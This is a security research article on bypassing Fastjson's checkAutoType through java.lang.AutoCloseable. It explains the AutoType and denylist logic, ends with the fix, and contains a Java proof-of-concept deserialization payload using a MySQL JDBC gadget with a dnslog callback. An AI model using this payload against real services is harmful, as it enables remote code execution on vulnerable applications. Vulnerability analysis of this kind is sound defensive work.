Written last year but never published; now shared as WeChat content and retained as notes.
Preface
Since Fastjson 1.2.24's deserialization vulnerability was disclosed on March 15, 2017, the library has been a major security-research target. Even checkAutoType did not fully prevent new issues. This article examines one through Xuanwu Lab's Black Hat talk How I Use JSON Deserialization.
Two Fastjson Mechanisms
Fastjson vulnerabilities fundamentally arise from AutoType and the checkAutoType defense around it. First examine both mechanisms.
Autotype
First, why does AutoType exist?
Features arise from requirements; developers do not build features no one needs. Fastjson is no exception.
Calling JSON.parseObject(jsonstr, xxx.class) with an abstract class or interface returns NULL: an abstract type cannot be instantiated without implementation information in the JSON. Fastjson needed polymorphism support, and AutoType was its answer.
When converting a concrete implementation to JSON, a developer can add SerializerFeature.WriteClassName so the generated JSON includes serialized type information.
For example:
Suppose abstractClass_A is abstract and class_B implements it. When serializing class_B to JSON, a developer can add SerializerFeature as follows:

The successfully parsed JSON is:
{ "@type":"testAutoType$class_B", "str":"panda"}
automatically carries an @type property identifying the serialized class.
Later, when code wants to use abstract class A, deserializing the string produces the concrete implementation.


checkAutoType
checkAutoType was added in Fastjson 1.2.25 to reduce risks from AutoType. It applies allowlist and denylist restrictions to @type.
Early checkAutoType versions had simple bypasses, including an L prefix and semicolon suffix or doubled LL. From 1.2.48 onward, checkAutoType matured and the denylist improved.
The detailed logic is summarized by this diagram from How I Use JSON Deserialization:

checkAutoType first performs three checks on typeName:
-
Whether the class is allowlisted
-
Whether it is in the deserialization cache (mappings)
-
The class has a JSONType annotation, such as fastjson.annotation.JSONType
If the conditions are satisfied, execution returns to deserialization and loads uncached classes into the cache.
If none of those conditions is met, another check runs:
-
Whether the supplied typeName is denylisted
-
Whether it inherits from RowSet, DataSource, ClassLoader, or similar classes
If any condition above is met, it throws an error. Otherwise, it continues with:
-
expectClass is not NULL, Object, Serializable, Closeable, or similar
-
The supplied typeName inherits from expectClass
If the conditions are satisfied, execution returns to deserialization and loads uncached classes into the cache.
If not, autoTypeSupport is checked. It enables AutoType and defaults to false, causing an error. When true, execution returns to deserialization and loads uncached classes into the cache.
Vulnerability Analysis
The analysis above shows several ways to pass checkAutoType:
-
The supplied class is allowlisted
-
AutoType is enabled (autoTypeSupport is true)
-
Uses a JSONType annotation, such as fastjson.annotation.JSONType
-
Certain expected classes (subclasses of expectClass)
-
The class to deserialize is cached (TypeUtils.mappings contains the @type class)
The first two routes can be ignored because allowlisted classes are generally safe and AutoType defaults to false. The third is controlled by developers. Bypassing checkAutoType therefore leaves two practical routes:
-
The class to deserialize is cached (TypeUtils.mappings contains the @type class)
-
Certain expected classes (subclasses of expectClass)
First examine the first route.
Fastjson's cache—TypeUtils.mappings—is initialized in fastjson.util.TypeUtils#addBaseClassMappings().

Fastjson preloads several base classes into TypeUtils.mappings, and each has its own Deserializer:

This route is unusable unless a class can be added to mappings. Such a bypass did exist: in 1.2.47, the cache defaulted to true, allowing checkAutoType to be bypassed.
This route is extremely difficult, though perhaps an unknown mechanism could still load a target class into the cache mapping.
Now consider the second route.
checkAutoType(String typeName, Class<?> expectClass, int features)
An expected class (expectClass) is a class compatible with checkAutoType's second argument.
Which classes inherit from an expected class? As noted above, they must satisfy:
if (expectClass == null) {
expectClassFlag = false;
} else if (expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class) {
expectClassFlag = true;
}else{
expectClassFlag = false;
}
The inherited expected class must also not be denylisted.
First inspect the expected classes:
https://github.com/alibaba/fastjson/blob/3b370ac07cef990eb0a
10eeeb6388b2b91feada8/src/main/java/com/alibaba/fastjson/util/TypeUtils.java
Next inspect Fastjson's denylist.
https://github.com/LeadroyaL/fastjson-blacklist
Fastjson's denylist through 1.2.68 included most common parent interfaces and classes, but omitted java.lang.AutoCloseable and java.util.BitSet.
This produces the following flow:

A typeName satisfying the following can therefore bypass checkAutoType:
-
Inherits from java.lang.AutoCloseable or java.util.BitSet
-
Not in Fastjson's denylist
-
Its parent classes and interfaces are not denylisted
The final restriction prevents direct Fastjson RCE because command-execution gadget classes commonly inherit from ClassLoader, DataSource, or RowSet, all of which are denylisted.
The typeName we seek therefore gains more constraints:
A class capable of RCE, SSRF, or file read/write
The Black Hat talk How I Use JSON Deserialization suggests several directions, including vulnerable subclasses of java.lang.AutoCloseable:
-
Mysql RCE
-
Apache commons io read and write files
-
Jetty SSRF
-
Apachexbean-reflectRCE
-
......
The talk includes payloads and chains. Here, the vulnerability is reproduced with MySQL RCE.
Reproduction
First start fake MySQL

Then run:
import com.alibaba.fastjson.JSON;
public class poc {
public static void main(String[] args) {
String serializedStr = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.mysql.jdbc.JDBC4Connection\",\"hostToConnectTo\":\"127.0.0.1\",\"portToConnectTo\":3306,\"ur l\":\"jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"databaseT oConnectTo\":\"test\",\"info\": {\"@type\":\"java.util.Properties\",\"PORT\":\"3306\",\"statementInterceptors\":\"com.mysql.jdbc.interceptors.Serve rStatusDiffInterceptor\",\"autoDeserialize\":\"true\",\"user\":\"yso_URLDNS_http://apwaty.dnslog.cn\",\"PORT.1\":\ "3306\",\"HOST.1\":\"127.0.0.1\",\"NUM_HOSTS\":\"1\",\"HOST\":\"127.0.0.1\",\"DBNAME\":\"test\"}}";
Object obj1 = JSON.parse(serializedStr);
}
}
completes the deserialization attack:


Vulnerability Fix
The fix is blunt: add java.lang.Runnable, java.lang.Readable, and java.lang.AutoCloseable to the denylist.
Starting with 1.2.68, Fastjson introduced safeMode. It disables deserialization entirely and throws an exception, eliminating this class of deserialization issue.
Conclusion
The vulnerability-discovery approach can be summarized in one word: attentiveness.
The researcher organized the prerequisites for bypassing checkAutoType and evaluated how each might be satisfied.
The researcher automatically analyzed the denylist and expectClass set, identified an omitted class, and used its subclass to achieve RCE.
The researcher's precise definition of inheritance is worth learning, as is the automated analysis that makes security research more efficient. I also wondered why Fastjson did not remove AutoType after so many vulnerabilities.
A discussion in the Fastjson GitHub issues answers this question: https://github.com/alibaba/fastjson/issues/3218
Personal view: markets usually abandon a product not because vulnerabilities exist, but because needs are unmet or cannot be met.